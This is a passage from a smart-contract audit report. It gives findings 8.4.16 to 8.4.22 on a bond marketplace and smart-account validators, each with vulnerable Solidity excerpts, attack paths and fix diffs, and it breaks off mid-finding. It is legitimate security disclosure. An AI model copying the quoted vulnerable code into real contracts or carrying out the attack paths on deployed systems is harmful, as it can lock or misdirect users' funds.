Recommendation(s): Consider adding the `requireEnabledActor` check in the `else` clause of the `_validateOwnerOrOperator` function. Alternatively, consider giving `INTEREST_DISCOVERY_OPERATOR` an option to transfer the escrowed funds of the disabled address to an address of his choice instead of directly sending or transferring them to the `offer.owner` who is disabled.

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. Interest-discovery cancellation requires an enabled owner.

Update from CODESPECT: Fixed in: bc0b7caa

8.4.16 [Low] Missing maximum on offer expiry permanently locks escrowed bonds and blocks redemption

Severity: Low

Section ID: 8.4.16

Found by: lordalive, orangesantra

File(s): `Marketplace.sol`, `Marketplace.sol`

Function(s): `Marketplace._validateOfferExpiryThreshold()`, `Marketplace.withdrawAvailable()`, `Marketplace.cancelOffer()`, `Marketplace.closeExpiredInterests()`, `Marketplace._getInterestActivationDeadline()`

Category: Denial of Service; Arithmetic; Business Logic / Protocol Design

References: CWE-20: Improper Input Validation; CWE-1284: Improper Validation of Specified Quantity in Input; SWC-101: Integer Overflow and Underflow; OWASP Smart Contract Top 10: SC04:2025 Lack of Input Validation, SC10:2025 Denial of Service

Description: When a seller lists bonds on the marketplace, they choose an expiry time for the offer. The code checks only that the expiry is far enough in the *future* (a lower bound); it never checks that the expiry is not *absurdly* far away. A seller can set the expiry to a value such as the maximum possible timestamp. Every path that would let the seller recover their escrowed bonds is gated on "the offer has expired," which will never become true. The deposited bonds are stuck forever, and because they can never leave escrow the bond can never be redeemed. Offer expiry is validated only against a *minimum*:

```
// Marketplace.sol - _validateOfferExpiryThreshold
function _validateOfferExpiryThreshold(uint256 offerExpiry) internal view {
    Config storage config = _configStorage();
    require(
        !(offerExpiry < block.timestamp + config.offerExpiryThreshold),    // lower bound only - no upper bound
        Errors.Marketplace__InvalidExpiry(offerExpiry, block.timestamp)
    );
}
```

For interest-discovery offers, every seller-recovery path depends on the current time having passed the expiry (or a deadline derived from it). With `expiry` set to, say, `type(uint256).max`, `block.timestamp > expiry` is never true, so:

- `withdrawAvailable` (interest-discovery branch) reverts forever (requires the offer to be expired),;
- `cancelOffer` (failed-book branch) reverts forever,;
- `closeExpiredInterests` reverts forever (requires past the activation deadline);

In addition, the activation deadline is computed by adding to the expiry, which overflows for very large expiries (Solidity 0.8 reverts on overflow):

```
// Marketplace.sol - _getInterestActivationDeadline
return saleEnd + _getInterestDiscoveryPaymentExpiryThreshold(offerId);    // expiry + threshold can overflow -> revert
```

So `activateInterest` and `closeExpiredInterests` revert outright in the overflow case.

Attack path:

a. A holder calls `registerOffer` for an interest-discovery offer, depositing bonds into escrow, and sets `expiry` to an extreme value (up to `type(uint256).max`). Only a *lower* bound is validated, so the offer is accepted;

b. Time passes. The holder (or anyone) tries to recover the deposit through the normal paths: `withdrawAvailable`, `cancelOffer`, or `closeExpiredInterests`;

c. Each recovery path is gated on "the current time is past the expiry / activation deadline." With a far-future expiry that condition is never true, so every path **reverts forever**;

d. If the expiry is near the integer maximum, computing the activation deadline (`expiry + threshold`) **overflows** and reverts, additionally bricking `activateInterest` and `closeExpiredInterests`;

e. The deposited bonds are permanently stuck in escrow. Because escrowed bonds cannot be burned, total supply never returns to zero, so `closeBond` can never run and the bond version can never be redeemed (harming the issuer, not just the holder). Only the seizure flow can recover the bonds;

Impact: The seller's escrowed bonds are **permanently stuck**: they cannot be withdrawn, cancelled, or closed by anyone through the normal flows. Because escrowed bonds are a protected address and cannot be burned, `totalSupply(tokenId)` stays above zero forever, which means `BondRegistry.closeBond` (which requires zero supply) can never run and **that bond version can never be redeemed**. This harms the issuer / CLOSE-role operator, not only the seller. The only escape is the heavyweight seizure flow. This is the irreversible counterpart to the "escrow shield" finding: there the holder can pull the tokens back; here even the holder is locked out.

Likelihood: Any verified holder can trigger this with a single `registerOffer` call and a large `expiry` value (up to `type(uint256).max`). No special role, no timing. Because it blocks another party's redemption, it is clearly in scope.

Recommendation(s): Add an upper bound to `_validateOfferExpiryThreshold`, for example `require(offerExpiry <= block.timestamp + MAX_OFFER_LIFETIME)`, and/or guard `_getInterestActivationDeadline` against overflow. A bounded maximum lifetime guarantees that recovery paths eventually become reachable.

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. Offer/counteroffer maximum lifetime is enforced.

Update from CODESPECT: Fixed in: 87a94358

8.4.17 [Low] P-256 verification is non-robust: the Daimo-fallback branch discards the `staticcall` success flag and reverts on empty returndata, while the precompile branch fails closed

Severity: Low

Section ID: 8.4.17

Found by: orangesantra, emanueldlvg, godwinda

File(s): `P256.sol`, `WebAuthn.sol`, `WebAuthnValidator.sol`, `WeightedValidator.sol`

Function(s): `P256.verifySignatureAllowMalleability()`, `P256.verifySignature()`, `WebAuthn.verifySignature()`, `WebAuthnValidator._verifySignature()`, `WeightedValidator._checkR1Sig()`

Category: External Contract Interaction; DoS; Oracle / External Dependency

References: SWC-104: Unchecked Call Return Value; CWE-252: Unchecked Return Value; CWE-393: Return of Wrong Status Code; OWASP Smart Contract Top 10: SC06:2025 Unchecked External Calls

Description: `P256.verifySignatureAllowMalleability` selects one of two P-256 verification backends based on a caller-supplied `usePrecompiled` flag, and the two branches handle a missing / non-conforming backend in **opposite** ways:

```
// src/kernel/webauthn/P256.sol:22-31
if (usePrecompiled) {
    (bool success, bytes memory ret) = PRECOMPILED_VERIFIER.staticcall(args);
    if (success == false || ret.length == 0) {
        return false;                       // precompile branch: FAILS CLOSED (clean false)
    }
    return abi.decode(ret, (uint256)) == 1;
} else {
    (, bytes memory ret) = DAIMO_VERIFIER.staticcall(args);   // success DISCARDED
    return abi.decode(ret, (uint256)) == 1;                    // ret decoded UNCONDITIONALLY
}
```

The precompile branch captures `success` and guards `ret.length`, so an absent or non-responding backend yields a clean `false`. The Daimo branch discards `success` and ABI-decodes `ret` unconditionally. By EVM semantics, a `staticcall` to a **no-code** address returns `success = true, ret = ""`; `abi.decode("", (uint256))` then triggers an ABI-decode panic, a **revert**, not a graceful `false`. The same revert occurs if a contract *exists* at the address but returns empty/short data (a non-RIP-7212-conforming verifier). Two facts compound this:

a. **`usePrecompiled` is attacker-/caller-controlled**, decoded straight from `userOp.signature` (`WebAuthnValidator._verifySignature` at L127/132; `WeightedValidator._checkR1Sig` at L200). The signer of a given userOp therefore selects which backend path runs;

b. **The verification runs even on the dummy-signature gas-estimation path.** `WebAuthn.verifySignature` (L129) defers the result and calls `P256.verifySignature` unconditionally (L155); the malleability pre-check (`s > n/2`) does not short-circuit for `s == 0`. So the revert fires during `eth_estimateUserOperationGas` / bundler simulation, not only at execution time;

`DAIMO_VERIFIER` is a single hardcoded mainnet address (`0xc2b78104907F722DABAc4C69f826a522B2754De4`) with no guarantee of correct (or any) code on the target chain. `PRECOMPILED_VERIFIER` is `0x...0100` (RIP-7212), whose presence is also chain-dependent.

Impact: - **In-scope robustness defect (deterministic, executed):** for any passkey / r1-guardian validation routed to the Daimo backend, a missing or non-conforming verifier turns what should be `SIG_VALIDATION_FAILED` into a **graceless revert**. Because the revert occurs during validation/simulation, affected accounts become **un-simulatable and un-bundleable** (an off-chain-observable failure that blocks the normal on-chain-only downgrade). The two backends are inconsistent for no good reason.

- **Worst case (CONTESTED, EBSI deployment dependent):**;
  - If the Daimo verifier address is **empty** on the deployment chain and SDKs set `usePrecompiled = false`, the entire passkey fleet is bricked at genesis (every passkey/WebAuthn `validateUserOp` reverts; one r1-guardian with `usePrecompiled=false` reverts an entire WeightedValidator multisig);
  - If a **hostile or non-conforming** contract occupies the hardcoded address, it could return crafted data, but that requires a malicious occupant of a fixed address (trusted-infra / governance scope per the README), which is why the worst case is held CONTESTED, not asserted;

Likelihood: The in-scope asymmetry is **deterministic and proven** (executed PoC below): it is present in the code unconditionally. Whether it manifests as a live brick or forgery depends on the EBSI deployment (Daimo presence, RIP-7212 presence), which is UNVERIFIED; the README treats backend availability as a documented operator precondition, which is why the realistic-HIGH reading is refuted and the finding anchors at the lower end. The defect is self-inflicted / configuration-dependent rather than attacker-forced (the caller chooses `usePrecompiled` for their *own* userOp).

Recommendation(s): Mirror the precompile branch's guard in the Daimo branch.

```
 } else {
-    (, bytes memory ret) = DAIMO_VERIFIER.staticcall(args);
-    return abi.decode(ret, (uint256)) == 1;
+    (bool success, bytes memory ret) = DAIMO_VERIFIER.staticcall(args);
```

```
+     if (!success || ret.length < 32) return false;
+     return abi.decode(ret, (uint256)) == 1;
  }
```

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. `P-256` verification now fails closed.

Update from CODESPECT: Fixed in: 12d1b9b4

8.4.18 [Low] Disabled EntityRegistry buyers can still receive settled standard assets because Marketplace settlement reuses stale buyer eligibility

Severity: Low

Section ID: 8.4.18

Found by: srujankumarreddy11

File(s): `Marketplace.sol` `Marketplace.sol` `Marketplace.sol` `Marketplace.sol` `EscrowManager.sol`

Function(s): `Marketplace.acceptOffer()`, `Marketplace.settleDeal()`, `Marketplace._settleDeal()`, `Marketplace._isAccountEnabled()`, `EscrowManager.claim()`

Category: Business Logic / Protocol Design; Access Control; State Inconsistency; External Contract Interaction

References: CWE-841: Improper Enforcement of Behavioral Workflow; CWE-863: Incorrect Authorization

Description: The Marketplace deal lifecycle, together with EntityRegistry offboarding behavior, enforces buyer enablement only when a deal is **created**, but not when the escrowed asset is later **delivered** during settlement. This allows a buyer who becomes disabled in EntityRegistry after deal creation to still receive the settled asset.

The issue is strongest for **standard assets** such as ERC20 and ERC721, because their outbound transfers from escrow do not enforce EntityRegistry recipient checks at the token layer.

Root cause:

`Marketplace.acceptOffer()` validates buyer enablement only at the time the deal is opened. Later, `Marketplace._settleDeal()` uses the stored `currentDeal.buyer` address and directly claims escrow to that buyer without re-checking current EntityRegistry status. `EscrowManager.claim()` then transfers the asset to the provided beneficiary without any EntityRegistry enforcement. So the protocol checks buyer eligibility at **deal creation**, but not at **asset delivery**, even though the delivery may happen much later and after the buyer has been disabled. The direct-sale flow currently works as follows:

a. `acceptOffer()` validates that the buyer wallet is enabled by calling `_validateEntityWalletAndTypeAllowed(msg.sender)`;
b. A deal is created with `currentDeal.buyer = msg.sender`;
c. Later, after payment is resolved as `PAID`, anyone authorized by flow can call `settleDeal()`;
d. `_settleDeal()` finalizes the deal and calls:;

```
IEscrowManager(_escrowManager).claim(_escrowIdByOfferId[offerId], amount, currentDeal.buyer);
```

At this point, the Marketplace does **not** re-check whether `currentDeal.buyer` is still enabled in EntityRegistry. `EscrowManager.claim()` also does not perform any EntityRegistry validation. It simply transfers the escrowed asset to the beneficiary passed by the Marketplace. As a result, if the buyer is disabled after the deal is created but before settlement, the buyer still receives the ERC20 / ERC721 asset during settlement. This is a stale-eligibility bug: the protocol snapshots buyer eligibility at deal creation time and reuses that stale authorization at delivery time.

Attack path:

a. A seller registers a Marketplace offer for a standard asset such as ERC20 or ERC721;
b. The buyer is enabled in EntityRegistry and accepts the offer;
c. The deal is created successfully, with the buyer stored in `currentDeal.buyer`;
d. Payment is resolved as `PAID`;
e. Before settlement, the buyer is disabled / offboarded in EntityRegistry;
f. `settleDeal()` is called;
g. `_settleDeal()` claims the escrowed asset to `currentDeal.buyer` without re-checking enablement;
h. `EscrowManager.claim()` transfers the asset to the disabled buyer;

The result is that a disabled buyer still receives fresh economic delivery from Marketplace escrow.

Impact: This weakens the practical effect of EntityRegistry offboarding for Marketplace participants. A buyer that has already been disabled can still receive standard assets from Marketplace settlement as long as the deal was created before the offboarding event. Concrete consequences include:

- disabled buyers can still receive newly settled ERC20 assets;
- disabled buyers can still receive newly settled ERC721 assets;
- EntityRegistry offboarding does not immediately prevent final delivery on already-paid Marketplace deals;
- operational and compliance assumptions can be broken if teams expect disabled accounts to stop receiving marketplace assets;

This does **not** require a privileged protocol admin to abuse their role, and it does **not** rely on a trusted actor behaving maliciously. The issue arises in a normal Marketplace lifecycle when a standard-asset deal is created while the buyer is enabled and settled after the buyer has been disabled. It is not arbitrary theft of unrelated escrow, but it is a real authorization / workflow failure that allows a disabled account to continue receiving fresh asset delivery.

Likelihood: Medium. Preconditions:

- a standard-asset offer (ERC20 / ERC721) is registered;
- the buyer is enabled at the time of `acceptOffer()`;
- the deal becomes `PAID`;
- the buyer is disabled before settlement;
- `settleDeal()` is called afterward;

These are realistic operational conditions. This can happen naturally during compliance offboarding, account disablement, fraud response, entity suspension, or general registry maintenance. No unusual attacker capability is required beyond normal Marketplace use before and after a status transition.

Recommendation(s): Settlement should re-check current buyer eligibility before delivering escrowed assets. Possible fixes:

1. Re-check buyer enablement in `_settleDeal()` Before claiming escrow to `currentDeal.buyer`, require that the buyer is still enabled in EntityRegistry. For example:

```
require(_isAccountEnabled(currentDeal.buyer), Errors.Marketplace__NotAuthorized(currentDeal.buyer));
```

2. Re-check beneficiary eligibility in `EscrowManager.claim()` As a defense-in-depth measure, validate beneficiary eligibility for flows that are intended to respect EntityRegistry authorization.

3. Define explicit offboarding behavior for already-open deals If the intended design is that disabled buyers may still receive settlement for already-paid deals, that behavior should be documented explicitly. If the intended design is that offboarding should block final delivery as well, settlement should revert or reroute into an admin/manual recovery flow.

4. Add regression tests Add tests covering ERC20 settlement to a disabled buyer, ERC721 settlement to a disabled buyer, ERC1155 settlement to a disabled buyer, and the equivalent interest-discovery settlement path if applicable. The security invariant should be:

```
A Marketplace participant that is disabled in EntityRegistry must not receive fresh standard-asset delivery from
↪  settlement after the disablement takes effect.
```

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. Buyer eligibility is rechecked before paid settlement.

Update from CODESPECT: Fixed in: 43454755

8.4.19 [Low] Recovery guardian will permanently brick Kernel root validation for account owner

Severity: Low

Section ID: 8.4.19

Found by: 4gontuk, marketerka

File(s): `ECDSAValidator.sol` `RecoveryAction.sol`

Function(s): `ECDSAValidator.onInstall()`, `ECDSAValidator.onUninstall()`, `ECDSAValidator._isInitialized()`, `RecoveryAction.doRecovery()`

Category: Initialization / Upgradeability; Access Control; Business Logic / Protocol Design

References: CWE-665: Improper Initialization

Description: `ECDSAValidator.onInstall()` accepts a zero owner while `RecoveryAction.doRecovery()` first uninstalls the current validator and then installs the new validator data. This will cause permanent loss of root validator control for the `Kernel` account owner as a configured recovery guardian will call `RecoveryAction.doRecovery()` with `_data = abi.encodePacked(address(0))`.

Root cause: In `ECDSAValidator.sol:32`, `ECDSAValidator.onInstall()` stores the first 20 bytes of `_data` as the owner and does not reject `address(0)`. This conflicts with `ECDSAValidator._isInitialized()`, which treats `owner == address(0)` as not initialized.

```
function onInstall(bytes calldata _data) external payable override {
    if (_isInitialized(msg.sender)) revert AlreadyInitialized(msg.sender);
    address owner = address(bytes20(_data[0:20])); // @audit zero owner is accepted
    ecdsaValidatorStorage[msg.sender].owner = owner;
    emit OwnerRegistered(msg.sender, owner);
}
```

The second part is in `RecoveryAction.sol:14`. `RecoveryAction.doRecovery()` deletes the old validator state before installing the new state. It does not check that the new install data leaves the validator initialized.

```
function doRecovery(address _validator, bytes calldata _data) external {
    IValidator(_validator).onUninstall(hex""); // @audit old root owner is deleted first
    IValidator(_validator).onInstall(_data);   // @audit can install address(0) and leave validator uninitialized
}
```

After this, `ECDSAValidator.onUninstall()` cannot be used again to repair the account, because it reverts when the validator is not initialized.

```
function onUninstall(bytes calldata) external payable override {
    if (!_isInitialized(msg.sender)) revert NotInitialized(msg.sender); // @audit repair recovery reverts here
    delete ecdsaValidatorStorage[msg.sender];
}

function _isInitialized(address smartAccount) internal view returns (bool) {
    return ecdsaValidatorStorage[smartAccount].owner != address(0); // @audit zero owner means no installed root
    ↪  validator
}
```

The `Kernel` account uses validators to approve user operations. A normal ECDSA root validator stores one owner address per account in `ecdsaValidatorStorage`. If that owner signs the user operation, `ECDSAValidator.validateUserOp()` can approve the operation. Recovery is handled through `RecoveryAction.doRecovery()`. The intended flow is simple. A configured recovery validator, such as `WeightedValidator`, validates the recovery user operation. Then the account calls the recovery fallback action. The action calls `onUninstall()` on the target validator and then calls `onInstall()` with the replacement validator data. The README states the invariant as:

> `RecoveryAction.doRecovery` performs validator `onUninstall` then `onInstall` in a single call; the account is never left with no installed validator.

That invariant is broken for the ECDSA root validator. The problem is the install sentinel. The README also states that ECDSA is initialized only when `owner != 0`, and that `ECDSAValidator.onInstall()` does not reject a zero owner. This means the recovery flow can finish successfully while leaving the root validator in the same state as not installed. The exact bad state is:

```
ecdsaValidatorStorage[account].owner == address(0)
ECDSAValidator.isInitialized(account) == false
```

This is worse than a normal failed recovery. The old root owner is already deleted by `onUninstall()`. The new root owner is zero. So the old owner cannot operate the account anymore. A second recovery cannot repair the ECDSA validator either, because `RecoveryAction.doRecovery()` always calls `onUninstall()` first, and `ECDSAValidator.onUninstall()` reverts with `NotInitialized` when the stored owner is zero. So the recovery function is not atomic in the security sense. It is atomic at transaction level, but it can still commit a final state where the account has no usable ECDSA root validator.

Attack path:

a. A configured recovery guardian calls `RecoveryAction.doRecovery()` through a recovery user operation validated by the installed recovery validator, such as `WeightedValidator`;

b. The call uses `_validator = address(ECDSAValidator)` and `_data = abi.encodePacked(address(0))`;

c. `RecoveryAction.doRecovery()` calls `ECDSAValidator.onUninstall()` first. This deletes the current ECDSA root owner for the account;

d. `RecoveryAction.doRecovery()` then calls `ECDSAValidator.onInstall(_data)`;

e. `ECDSAValidator.onInstall()` decodes the first 20 bytes as `address(0)` and stores it as the owner;

f. The recovery transaction succeeds, but `ECDSAValidator.isInitialized(account)` now returns false because the stored owner is zero;

g. The old root owner signs a normal transfer user operation. It fails because the stored owner is no longer the old owner;

h. The recovery guardian tries to repair the account by calling `RecoveryAction.doRecovery()` again with `_data = abi.encodePacked(replacementOwner)`;

i. The second recovery cannot repair the validator because `RecoveryAction.doRecovery()` first calls `ECDSAValidator.onUninstall()`, and that reverts with `NotInitialized` since the owner is already zero;

Impact: The account can be left with no usable ECDSA root validator after a successful recovery call. The old owner loses control, and a normal second recovery of the same validator cannot repair it. In the tested setup, the account balance stays locked after both the owner transfer attempt and the repair attempt.

Likelihood: Low. The bad state is reached only when a configured recovery guardian invokes `RecoveryAction.doRecovery()` against the ECDSA root validator with zero install data, which is operator error rather than a path a normal user reaches by default. The guardian is a trusted role, but no malicious intent is required: a misformed `_data` of `abi.encodePacked(address(0))` is enough to permanently brick the root validator.

Recommendation(s): Reject zero owners in `ECDSAValidator.onInstall()`. This is the most direct fix because ECDSA uses `owner != address(0)` as its initialization sentinel.

```
function onInstall(bytes calldata _data) external payable override {
    if (_isInitialized(msg.sender)) revert AlreadyInitialized(msg.sender);
    address owner = address(bytes20(_data[0:20]));
+   if (owner == address(0)) revert InvalidOwner();
    ecdsaValidatorStorage[msg.sender].owner = owner;
    emit OwnerRegistered(msg.sender, owner);
}
```

It is also safer to make recovery verify the target validator is initialized after `onInstall()`, but the zero owner rejection is required for the ECDSA validator itself.

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. `ECDSAValidator` rejects zero owners.

Update from CODESPECT: Fixed in: 1e08c1f6

8.4.20 [Low] Removing a currency permanently blocks `updatePublishedBond` function, causing DoS to `PUBLISHER` on bond updates

Severity: Low

Section ID: 8.4.20

Found by: sarveshlimaye

File(s): `BondRegistry.sol`

Function(s): `BondRegistry.updatePublishedBond()`, `BondRegistry._validateBondInput()`, `BondRegistry.publishBond()`

Category: DoS

References: CWE-840: Business Logic Errors; CWE-703: Improper Check or Handling of Exceptional Conditions; OWASP Smart Contract Top 10: SC03:2025 Logic Errors, SC10:2025 Denial of Service

Description: When a bond is initially published, the `_validateBondInput` function here ensures that the provided currency is present in the allowlist.

```
    function publishBond(BondInput calldata bondInput) external onlyRoles(PUBLISHER) nonReentrant {
        bytes12 isinBytes = bondInput.isin._isinToBytes12();
        uint8 latestVersion = _isinToLatestVersion[isinBytes];

 @>       _validateBondInput(bondInput);

       ......
}



  function _validateBondInput(BondInput memory input) private view {
        ...
@>        require(isCurrencyAllowed(input.currency), Errors.BondRegistry__InvalidCurrency());
       ....
    }
```

Now, assume the currency for this bond is removed from the allowlist via `setAllowedCurrency`. At this point, the bond itself is unaffected; it remains in `Published` status with its original currency stored. However, if the `PUBLISHER` now wants to update some unrelated field of this bond, say `maxSupply`. To do this, they call `updatePublishedBond`, passing in a `BondInput` struct that's identical to the one used when the bond was published, except with the new `maxSupply` value. The problem here is that `updatePublishedBond` internally calls `_validateBondInput`, which re-checks `isCurrencyAllowed(input.currency)`. Since the currency field in the input is the bond's original currency (which is now removed from the allowlist), this check fails and the entire transaction reverts.

```
 function updatePublishedBond(BondInput calldata bondInput, uint8 version) external onlyRoles(PUBLISHER) {
        bytes12 isinBytes = bondInput.isin._isinToBytes12();

        Bond storage bond = _bonds[isinBytes][version];

        require(bond.status == BondStatus.Published, Errors.BondRegistry__InvalidBondStatus(isinBytes));

 @>       _validateBondInput(bondInput);

        .....
}
```

The README also indicates that currency removal is in scope of this audit, and that removing any currency should not affect functionalities associated with published bonds:

> Publish-time currency check: removing a currency from the allowlist never retroactively invalidates an already-published bond.

Impact: Once a bond's currency is removed from the allowlist, `updatePublishedBond` becomes permanently unusable for that bond. The `PUBLISHER` cannot update any field (e.g. maxSupply, maturityDate, couponRates), since the unchanged currency value still fails the `isCurrencyAllowed` check on every call.

Likelihood: Medium. The `PUBLISHER` can experience this issue every time a currency is removed from the allowlist while bonds denominated in that currency remain published.

Recommendation(s): In `updatePublishedBond`, only enforce `isCurrencyAllowed` when the updated currency differs from the bond's existing currency. If the currency is unchanged, skip the currency allowlist check, so updates to other fields can proceed regardless of the currency's current allowlist status.

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. Existing removed currency no longer blocks unchanged updates.

Update from CODESPECT: Fixed in: 78b12db8

8.4.21 [Low] Upgradeable DEUSSToken inherits non-upgradeable OZ Pausable — _paused storage slot is unprotected, risking full-token freeze or pause bypass on any storage-adding beacon upgrade

Severity: Low

Section ID: 8.4.21

Found by: psych2go

File(s): DEUSSToken.sol, BaseToken.sol, TokenDeployer.sol

Function(s): BaseToken.__BaseToken_init() (calls _pause()), BaseToken.pause(), BaseToken.unpause(), BaseToken._update() (whenNotPaused), all transfer/mint/burn paths gated by the inherited _paused flag.

Category: Initialization / Upgradeability

References: OpenZeppelin Pausable source (non-upgradeable, bool _paused at slot, no __gap); OpenZeppelin PausableUpgradeable source (with __gap)

Description: DEUSSToken is deployed as a **beacon proxy** (TokenDeployer deploys implementation, then beacon, then beacon-proxy, then calls initialize). Its base BaseToken mixes two incompatible OpenZeppelin families in a single inheritance clause (BaseToken.sol:29-35):

```
abstract contract BaseToken is
    IBaseToken,
    BaseTokenStorage,
    OwnableRolesExtension,
    ERC6909TokenSupplyUpgradeable,    // OZ *upgradeable* — has __gap + Initializable
    Pausable                           // OZ *non-upgradeable* — `bool _paused`, NO __gap
```

Pausable is imported from the non-upgradeable path @openzeppelin/contracts/utils/Pausable.sol (BaseToken.sol:7), while ERC6909TokenSupplyUpgradeable comes from @openzeppelin/contracts-upgradeable/. The non-upgradeable Pausable declares bool private _paused; with **no __gap array** (OZ Pausable.sol:18).

_paused is **not cosmetic**: the core ERC-6909 _update is declared override whenNotPaused (BaseToken.sol:324), so this single bool gates **every transfer, mint, and burn** of every bond token. The token also starts in the paused state: __BaseToken_init calls _pause() (BaseToken.sol:311), so _paused == true is the initial deployment-lockdown value stored at this slot.

forge inspect DEUSSToken storage-layout confirms _paused lands at **storage slot 106**, the tail of the layout, with no reserved gap beneath it. Every sibling base contract in the chain (BaseTokenStorage, DEUSSTokenStorage, the OZ *Upgradeable contracts) carries a __gap[49] precisely so future storage additions above the line do not shift downstream slots, **except Pausable, which breaks that contract**. It is the only storage-holding base in the entire inheritance tree that is not proxy-safe.

Root cause: inheriting a storage-bearing, non-upgradeable OZ contract (Pausable) into a beacon-proxy-upgradeable contract. The _paused slot has no __gap, so it is the fragile seam of the storage layout.

Attack path:

a. Protocol upgrades the DEUSSToken beacon to a new implementation that adds **any** storage variable to BaseTokenStorage (or any other base that linearizes above Pausable) and consumes its __gap to zero, **or** that inserts a new storage-bearing base, **or** that swaps Pausable for PausableUpgradeable (different layout);

b. Solidity re-derives the storage layout for the new implementation. Because Pausable._paused has no __gap, its slot shifts relative to the proxy's already-written storage;

c. The proxy's slot 106 now holds whatever the *new* layout places there (e.g. a new mapping, or unused gap), and _paused is read from a different slot that historically contains non-zero data (a checkpoint pointer, a packed address, etc.);

d. Two outcomes, both bad:;
   - _paused reads as **non-zero (true)** after upgrade, so whenNotPaused on _update reverts forever, so **all bond-token transfers, mints, and burns are permanently blocked**. Since every marketplace settlement (EscrowManager.claim) and every redemption moves the bond token, the entire bond market is frozen;
   - _paused reads as **zero (false)** after upgrade, so the deployment-lockdown pause is silently lifted; whenNotPaused gates no longer reflect the intended paused state; tokenId-level pause remains, but the global pause contract is violated;

Note the asymmetry that makes this easy to miss: all the *other* bases have __gap, so a developer adding storage is trained (by the existing code) to shrink a __gap and assume the layout is safe. The non-upgradeable Pausable silently violates that assumption because nothing in the codebase signals that its _paused slot is un-buffered.

Impact: High when triggered. _paused gates _update, which is on every transfer/ transferFrom/ mint/ burn path of every bond (ERC-6909) in the system. A slot misalignment on upgrade therefore either **permanently freezes all bond-token movement** (affecting 100 Per the README invariants ("Suspension = pause ... paused tokenIds are non-transferable"; the global pause is the deployment lockdown), a broken _paused flag is a state-machine invariant break, which the judging rules state is *at least Medium* even without a direct fund-loss path.

Likelihood: Low. The defect is latent in v1: the current layout is self-consistent, _paused is correctly written and read at slot 106, and there is no live exploit. The failure only manifests **on a future beacon upgrade that adds storage or restructures the bases above Pausable**. It is not attacker-triggered; it requires the (trusted) beacon owner to perform such an upgrade without noticing that Pausable lacks a __gap. Mitigating factor: storage-layout audits would normally catch this, but the surrounding __gap[49] fields lower vigilance precisely at the un-buffered seam.

Impact **High** times Likelihood **Low** gives **Medium**.

Recommendation(s): **Preferred**: replace the non-upgradeable `Pausable` with `PausableUpgradeable` so `_paused` sits inside a `__gap`-protected, Initializable-aware layout:

```
- import {Pausable} from "@openzeppelin/contracts/utils/Pausable.sol";
+ import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
  ...
  abstract contract BaseToken is
      IBaseToken,
      BaseTokenStorage,
      OwnableRolesExtension,
      ERC6909TokenSupplyUpgradeable,
-     Pausable
+     PausableUpgradeable
```

and call `__Pausable_init()` inside `__BaseToken_init` (alongside `__ERC6909TokenSupply_init()`). Because this changes the storage layout, it must ship as a coordinated beacon upgrade (the only kind available) with the layout re-verified, but it removes the un-buffered seam for all future upgrades.

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. Token uses `PausableUpgradeable`.

Update from CODESPECT: Fixed in: f8be7d31

8.4.22 [Low] Unvalidated `bondNominalValue` in offers allows sellers to forge face-value metadata across the protocol's official integration surface

Severity: Low

Section ID: 8.4.22

Found by: godwinda

File(s): `Marketplace.sol`

Function(s): `Marketplace.registerOffer()`, `Marketplace._validateOffer()`

Category: Documentation / Code Mismatch; Business Logic / Protocol Design

References: CWE-20 (Improper Input Validation)

Description: The `Marketplace` contract's `_validateOffer()` function performs eight distinct validation checks (entity type, sale mode, asset allowlist, deposit amounts, counter-offer permissions, buyer restrictions, price, and expiry threshold) but passes `bondNominalValue` straight through from caller input to the stored `Offer` struct with zero validation:

```
// Marketplace.sol L1244-L1258
validatedOffer = Offer({
    currency: offer.currency,
    allowCounterOffers: offer.allowCounterOffers,
    saleMode: offer.saleMode,
    assetType: assetType,
    owner: owner_,
    tokenAddress: offer.tokenAddress,
    tokenId: offer.tokenId,
    bondNominalValue: offer.bondNominalValue,  // caller-controlled, never validated
    lot: offer.lot,
    unitPrice: offer.unitPrice,
    expiry: offer.expiry,
    amounts: Amounts({total: offer.totalAmount, available: offer.totalAmount, inDeals: 0, sold: 0})
});
```

The `BondRegistry` stores the authoritative nominal value during bond publication (`BondRegistry.sol:362`), exposed via `getBondByTokenId()`. The `BondMarketFilter` correctly reads from the registry via `DeussBondMetadataAdapter` for batch-order filtering, proving the protocol authors understood the trust boundary but only wired the cross-check into the filter, not into offer validation. The unvalidated value propagates through three official data paths. First, the `OfferTermsRegistered` event emits it as "immutable terms for a newly registered offer" (per the NatSpec at `IMarketplace.sol:44`). Second, `MarketplaceLens.getOffer()` returns the full `Offer` struct including the forged value (the lens exists specifically so integrators don't need to query multiple contracts). Third, `EscrowManager.createEscrow()` stores the forged value in the `Escrow` struct, exposed via `getEscrow()`. The result is that the protocol simultaneously reports two different nominal values for the same bond token:

Query Path	Returns	Source
`MarketplaceLens.getOffer(offerId)`	Forged value	Seller input (unvalidated)
`OfferTermsRegistered` event	Forged value	Seller input (unvalidated)
`EscrowManager.getEscrow(escrowId)`	Forged value	Seller input (unvalidated)
`BondRegistry.getBondByTokenId(tokenId)`	Real value	Registry (authoritative)
`BondMarketFilter.matchesFilter()`	Real value	Registry via adapter

A seller can set `bondNominalValue = 1_000_000` for a bond whose registry value is `1_000`. Any frontend or indexer consuming the official integration surface (`MarketplaceLens`, events, escrow queries) displays the bond as having 1,000,000 face value instead of 1,000. Token settlement is unaffected: it operates purely on raw `amount`, and no arithmetic uses `bondNominalValue`. This is a metadata integrity issue, not an accounting issue.

Impact: Settlement and escrow accounting are unaffected: token transfers operate on raw amounts, not nominal value. The impact is limited to the metadata integrity of the protocol's official integration surface. In a regulated bond marketplace (EBSI context, KYC'd entities, compliance/seizure mechanisms), misrepresenting the face value of financial instruments on the official API surface has trust and potentially regulatory implications, though no direct fund loss occurs.

Likelihood: Medium. Any registered entity wallet can forge the value with a single `registerOffer` call. No special roles or preconditions required. The forged value is indistinguishable from a legitimate one through the official API: an integrator would need to independently discover `BondRegistry.getBondByTokenId()` and manually cross-reference.

